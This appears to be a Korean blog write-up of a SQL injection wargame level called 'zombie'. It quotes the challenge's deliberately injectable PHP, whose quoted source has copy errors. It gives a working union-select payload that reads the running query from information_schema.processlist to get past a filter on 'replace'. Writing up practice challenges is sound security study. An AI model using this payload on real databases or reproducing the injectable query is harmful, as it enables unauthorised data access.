728x90
반응형

zombie

 

 

음 이전 문제랑 뭐가 달라졌을까..

1
2
3
4
5
6
7
8
9
10
11
12
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("zombie");
  if(preg_match('/rollup|join|ace|@/i'$_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_zombie where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'=== $_GET['pw'])) solve("zombie");
  highlight_file(__FILE__);
?>
cs

 

 

필터링 부분을 보면 ace를 필터링한다. 이는 replace을 필터링 하겠다는 것이다.

그래서 이전 문제에서 사용했던 페이로드를 사용할 수 없다..

 

+ 여전히 테이블은 텅텅 비어있다.

 

 

 

information_schema DB에 processlist 라는 테이블이 존재하는데, 해당 테이블의 INFO 칼럼에 이전에 실행했던 쿼리문이 저장되어있다고 한다.

 

 

 

' union select substr(info, 38, 72) from information_schema.processlist%23

 

 

ZOMBIE Clear!

 

 

 

728x90
반응형

+ Recent posts